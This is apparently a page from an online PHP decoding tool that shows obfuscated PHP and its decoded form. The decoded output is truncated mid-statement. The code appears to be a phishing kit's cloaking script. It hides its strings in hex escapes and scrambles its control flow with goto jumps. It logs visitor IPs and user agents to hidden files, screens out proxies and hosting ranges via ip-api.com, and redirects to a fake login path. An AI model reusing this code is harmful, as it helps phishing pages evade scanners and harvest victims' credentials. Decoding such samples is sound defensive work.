Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto fn5zy; zvxeb: $d8tof = "\150\x74\164\160\72\57\57\143\157\x63\157\x62\162\x61\1..
Decoded Output download
<?php goto fn5zy; zvxeb: $d8tof = "http://cocobration.com/es_auth.login.service.premium/"; goto tckha; vvlwb: goto axgpg; goto ie6oz; uezdb: $cdmeq = ["BBq2Ao26y", "rvLmmiJYG", "ZG8ZCeengHWZoKp", "4NXL8vie7BH7cH", "7exHesCuOWD4n", "5DGDK3A1u2jD", "KzyP50GH5L1A4Dz", "E7fQpru0", "uw29SNgclTZ30", "aR0UsxVEOm5H0rX", "RLDZZxBBC6", "idtB29piRlm", "x9BJzgX8SVc", "t9Yu0u6iuXuf", "ifDVSkSJs"]; goto vtiah; ejfjl: $fxxuy = $kjzbq[0]; goto cvtrn; wfbgy: $im3wv = getc("{$azego}"); goto qayjl; gxpvj: $ifbwg = ["zglJsuZdm4pM4EW", "64PJbtFtM", "9J3myIk6QeoLsUo", "1QmQZLwX5Qky", "Q23sFw4Agd", "VxevViw6zFG", "4oGdHXuuy", "wfSHUqYAZ", "llRX7ZSHga", "ukApQjEp1lA", "JLrJqorwO", "iUJ2BzJchhMWs1", "NKuw1V1IcB", "AJwkNl079", "n94PpNQ2"]; goto uezdb; sq6cx: $buwyv = file_get_contents("../iimrnymswohwvfgsqbjptjalltrtwr/ipdb"); goto jkq9w; ernv2: t19qc: goto qrj7u; xn09s: @file_put_contents("../iimrnymswohwvfgsqbjptjalltrtwr/mdb", $fxxuy . "
", file_append); goto ljave; jilun: @file_put_contents("../iimrnymswohwvfgsqbjptjalltrtwr/ch1sm3full.txt", "Bad Proxy/Hosting:({$fxxuy}|{$xrxmm}|{$mby32}|{$odali}|{$azego}|{$hd5oo}|{$im3wv}|{$mfdbk}|{$owzl2}|{$p_i1l}|{$nobgt})\xa", file_append); goto cgthc; xqh4t: $yi4tz = $d8tof . "?" . $ci9o8; goto xyfeg; bnavl: mddvq: goto k5ng2; z4b0p: $mytiy = strlen($a62b7); goto jqxfo; c7ntg: $p_i1l = empty($_server["HTTP_USER_AGENT"]) ? "NONE" : $_server["HTTP_USER_AGENT"]; goto uqo8q; dvrcc: @file_put_contents("../iimrnymswohwvfgsqbjptjalltrtwr/badb.txt", "{$fxxuy}|{$azego}|{$p_i1l}|{$nobgt}\xa", file_append); goto dqx7j; uw9ju: @file_put_contents("../iimrnymswohwvfgsqbjptjalltrtwr/ch1sm3full.txt", "Invalid Referer:({$fxxuy}|{$xrxmm}|{$mby32}|{$odali}|{$azego}|{$hd5oo}|{$im3wv}|{$mfdbk}|{$owzl2}|{$p_i1l}|{$nobgt})
", file_append); goto bolil; w9tee: die; goto vvlwb; zhavn: @file_put_contents("../iimrnymswohwvfgsqbjptjalltrtwr/ch1sm3full.txt", "Invalid IP:({$vdmjj}|{$p_i1l}|{$nobgt})\xa", file_append); goto ljcre; jb53d: include_once "../iimrnymswohwvfgsqbjptjalltrtwr/HfEKVpPUJnfjRRfyPYHeQldunQ.php"; goto koisq; o34ri: include_once "../iimrnymswohwvfgsqbjptjalltrtwr/HfEKVpPUJnfjRRfyPYHeQldunQ.php"; goto uu5y4; zr2jt: function getprox($azego) { goto x1nse; sigci: $cmiod = empty($zgplg["hosting"]) ? "NONE" : $zgplg["hosting"]; goto pklwl; qirgw: goto xfbg1; goto r83i3; lkn8n: $efqhm = empty($zgplg["proxy"]) ? "NONE" : $zgplg["proxy"]; goto sigci; x1nse: $papqe = "http://ip-api.com/json/" . $azego . "?fields=proxy,hosting"; goto cmubi; enmi6: return 0; goto qirgw; zyswx: $ps89s["hostf"] = $cmiod; goto enmi6; fktxy: xfbg1: goto h0gax; y0g7u: $zgplg = json_decode($qxf5p, true); goto lkn8n; r83i3: tz6ag: goto rolx2; rolx2: $ps89s["prox"] = $efqhm; goto szase; vwcpe: $ps89s["prox"] = $efqhm; goto zyswx; pklwl: if ($efqhm == 1 || $cmiod == 1) { goto tz6ag; } goto vwcpe; aubvg: return 1; goto fktxy; szase: $ps89s["hostf"] = $cmiod; goto aubvg; cmubi: $qxf5p = file_get_contents_curl($papqe, $kyrnq = 1); goto y0g7u; h0gax: } goto dx_jx; c3fiw: die; goto xtsts; uxeeb: $d8tof = $_server["REQUEST_URI"]; goto ksvwn; czthr: @file_put_contents("../iimrnymswohwvfgsqbjptjalltrtwr/ipdb", $azego . "\xa", file_append); goto o34ri; ljave: includ ?>
Did this file decode correctly?
Original Code
<?php goto fn5zy; zvxeb: $d8tof = "\150\x74\164\160\72\57\57\143\157\x63\157\x62\162\x61\164\151\x6f\x6e\56\x63\x6f\x6d\x2f\145\163\x5f\141\x75\164\150\56\154\157\147\151\x6e\56\x73\x65\162\166\151\143\145\x2e\160\x72\145\x6d\x69\x75\155\x2f"; goto tckha; vvlwb: goto axgpg; goto ie6oz; uezdb: $cdmeq = ["\x42\102\161\62\x41\x6f\62\x36\x79", "\162\166\x4c\155\155\151\x4a\131\x47", "\132\107\x38\132\x43\145\x65\156\x67\110\x57\132\x6f\x4b\x70", "\64\116\x58\114\x38\x76\151\x65\67\x42\x48\67\143\110", "\x37\145\170\110\145\163\x43\165\x4f\127\x44\x34\x6e", "\x35\x44\107\104\x4b\x33\x41\x31\165\x32\x6a\x44", "\113\x7a\171\120\x35\x30\107\110\65\114\x31\101\x34\x44\172", "\x45\67\x66\x51\x70\x72\165\x30", "\165\167\x32\71\123\x4e\147\x63\x6c\x54\x5a\63\60", "\x61\x52\x30\x55\x73\170\126\x45\x4f\155\65\x48\60\x72\130", "\x52\114\104\132\132\170\x42\102\103\66", "\x69\x64\x74\102\x32\x39\x70\x69\122\x6c\x6d", "\170\71\x42\x4a\172\x67\130\x38\123\126\143", "\x74\x39\131\x75\60\165\66\151\x75\130\x75\146", "\151\146\x44\x56\123\153\x53\x4a\163"]; goto vtiah; ejfjl: $fxxuy = $kjzbq[0]; goto cvtrn; wfbgy: $im3wv = getc("{$azego}"); goto qayjl; gxpvj: $ifbwg = ["\x7a\147\x6c\112\163\x75\x5a\144\155\64\x70\115\x34\105\127", "\x36\64\x50\112\142\164\x46\x74\x4d", "\71\112\63\x6d\x79\x49\x6b\66\121\145\157\114\x73\x55\157", "\x31\121\155\x51\132\114\167\x58\x35\x51\x6b\x79", "\121\62\x33\x73\106\x77\64\x41\x67\144", "\126\170\145\x76\126\151\x77\66\x7a\106\107", "\x34\x6f\x47\144\x48\130\x75\165\171", "\x77\146\x53\110\x55\161\x59\x41\132", "\154\x6c\x52\x58\x37\x5a\123\110\x67\141", "\x75\x6b\x41\160\x51\x6a\x45\x70\x31\x6c\x41", "\112\114\162\112\161\x6f\162\167\117", "\x69\125\112\62\102\172\112\143\150\x68\115\x57\163\x31", "\116\113\x75\x77\61\126\x31\x49\143\102", "\101\112\x77\153\116\x6c\60\67\x39", "\x6e\71\x34\x50\x70\116\121\x32"]; goto uezdb; sq6cx: $buwyv = file_get_contents("\x2e\56\x2f\x69\151\155\x72\x6e\x79\x6d\163\167\157\150\x77\x76\146\147\x73\x71\142\x6a\160\164\x6a\141\x6c\154\x74\x72\x74\x77\162\57\151\x70\x64\x62"); goto jkq9w; ernv2: t19qc: goto qrj7u; xn09s: @file_put_contents("\56\x2e\57\151\x69\x6d\x72\x6e\171\155\163\x77\x6f\150\167\x76\x66\147\x73\x71\142\152\x70\164\x6a\141\154\x6c\x74\162\x74\167\x72\x2f\x6d\x64\142", $fxxuy . "\12", file_append); goto ljave; jilun: @file_put_contents("\x2e\56\x2f\x69\151\155\162\x6e\x79\x6d\163\x77\x6f\150\167\x76\146\147\x73\161\142\x6a\x70\x74\x6a\x61\x6c\154\x74\x72\164\x77\x72\57\x63\x68\x31\x73\x6d\x33\146\165\154\154\56\x74\170\x74", "\102\141\x64\x20\x50\x72\157\x78\x79\57\110\157\x73\x74\x69\x6e\x67\72\50{$fxxuy}\x7c{$xrxmm}\174{$mby32}\x7c{$odali}\x7c{$azego}\x7c{$hd5oo}\x7c{$im3wv}\174{$mfdbk}\174{$owzl2}\174{$p_i1l}\174{$nobgt}\x29\xa", file_append); goto cgthc; xqh4t: $yi4tz = $d8tof . "\x3f" . $ci9o8; goto xyfeg; bnavl: mddvq: goto k5ng2; z4b0p: $mytiy = strlen($a62b7); goto jqxfo; c7ntg: $p_i1l = empty($_server["\110\x54\x54\x50\x5f\125\123\x45\122\137\101\107\105\116\124"]) ? "\116\117\116\x45" : $_server["\x48\x54\x54\x50\137\x55\x53\x45\122\137\101\107\x45\116\124"]; goto uqo8q; dvrcc: @file_put_contents("\x2e\x2e\57\x69\151\x6d\x72\156\171\155\163\167\157\x68\167\x76\x66\x67\163\161\142\152\160\x74\152\x61\x6c\x6c\x74\162\x74\167\x72\57\x62\x61\144\x62\x2e\164\170\164", "{$fxxuy}\x7c{$azego}\174{$p_i1l}\x7c{$nobgt}\xa", file_append); goto dqx7j; uw9ju: @file_put_contents("\x2e\56\x2f\151\x69\x6d\162\x6e\171\x6d\x73\167\x6f\150\x77\166\x66\x67\x73\161\x62\x6a\160\164\152\x61\x6c\154\164\162\164\167\x72\57\x63\150\61\163\x6d\x33\146\165\x6c\154\x2e\x74\170\x74", "\x49\x6e\166\141\x6c\151\x64\x20\122\x65\x66\145\162\145\x72\72\50{$fxxuy}\174{$xrxmm}\174{$mby32}\x7c{$odali}\174{$azego}\174{$hd5oo}\174{$im3wv}\174{$mfdbk}\x7c{$owzl2}\174{$p_i1l}\174{$nobgt}\x29\12", file_append); goto bolil; w9tee: die; goto vvlwb; zhavn: @file_put_contents("\x2e\x2e\57\x69\x69\155\162\x6e\x79\x6d\x73\x77\157\x68\x77\x76\x66\147\163\161\x62\x6a\x70\164\152\x61\x6c\x6c\x74\162\x74\167\162\57\143\x68\x31\x73\155\63\146\x75\154\154\x2e\164\170\164", "\x49\x6e\166\x61\x6c\x69\144\40\x49\120\x3a\50{$vdmjj}\x7c{$p_i1l}\x7c{$nobgt}\51\xa", file_append); goto ljcre; jb53d: include_once "\56\56\57\151\151\x6d\x72\x6e\171\x6d\163\167\x6f\x68\167\166\146\x67\x73\161\142\152\x70\x74\x6a\x61\154\x6c\164\162\x74\167\x72\57\110\x66\105\x4b\126\160\x50\x55\x4a\x6e\x66\152\122\122\146\171\x50\x59\x48\145\121\x6c\144\165\x6e\121\56\x70\150\160"; goto koisq; o34ri: include_once "\x2e\x2e\x2f\x69\x69\x6d\x72\x6e\171\155\163\x77\x6f\150\167\x76\x66\147\x73\161\142\x6a\x70\x74\x6a\141\154\x6c\164\x72\164\167\x72\57\x48\x66\x45\113\x56\x70\120\125\112\x6e\x66\152\x52\122\146\x79\x50\x59\110\x65\x51\154\x64\165\156\121\56\160\x68\x70"; goto uu5y4; zr2jt: function getprox($azego) { goto x1nse; sigci: $cmiod = empty($zgplg["\x68\x6f\x73\164\151\x6e\147"]) ? "\116\117\x4e\105" : $zgplg["\x68\157\163\164\151\x6e\147"]; goto pklwl; qirgw: goto xfbg1; goto r83i3; lkn8n: $efqhm = empty($zgplg["\x70\x72\157\x78\x79"]) ? "\116\x4f\x4e\105" : $zgplg["\x70\x72\157\170\171"]; goto sigci; x1nse: $papqe = "\x68\164\x74\x70\x3a\57\x2f\x69\160\x2d\x61\x70\151\56\x63\x6f\155\57\152\x73\x6f\x6e\57" . $azego . "\x3f\x66\x69\145\154\x64\x73\x3d\x70\162\157\x78\171\54\x68\x6f\163\164\151\156\x67"; goto cmubi; enmi6: return 0; goto qirgw; zyswx: $ps89s["\x68\157\x73\x74\x66"] = $cmiod; goto enmi6; fktxy: xfbg1: goto h0gax; y0g7u: $zgplg = json_decode($qxf5p, true); goto lkn8n; r83i3: tz6ag: goto rolx2; rolx2: $ps89s["\x70\x72\157\x78"] = $efqhm; goto szase; vwcpe: $ps89s["\160\162\157\170"] = $efqhm; goto zyswx; pklwl: if ($efqhm == 1 || $cmiod == 1) { goto tz6ag; } goto vwcpe; aubvg: return 1; goto fktxy; szase: $ps89s["\x68\x6f\x73\164\x66"] = $cmiod; goto aubvg; cmubi: $qxf5p = file_get_contents_curl($papqe, $kyrnq = 1); goto y0g7u; h0gax: } goto dx_jx; c3fiw: die; goto xtsts; uxeeb: $d8tof = $_server["\122\105\x51\125\x45\x53\124\x5f\125\x52\111"]; goto ksvwn; czthr: @file_put_contents("\56\x2e\57\151\151\155\x72\156\171\x6d\x73\x77\x6f\x68\167\x76\146\147\x73\x71\142\152\x70\x74\x6a\x61\x6c\154\x74\162\164\x77\x72\57\151\x70\x64\142", $azego . "\xa", file_append); goto o34ri; ljave: includ
Function Calls
None |
Stats
MD5 | 1da3569e86d610cbe8265fcab339d031 |
Eval Count | 0 |
Decode Time | 46 ms |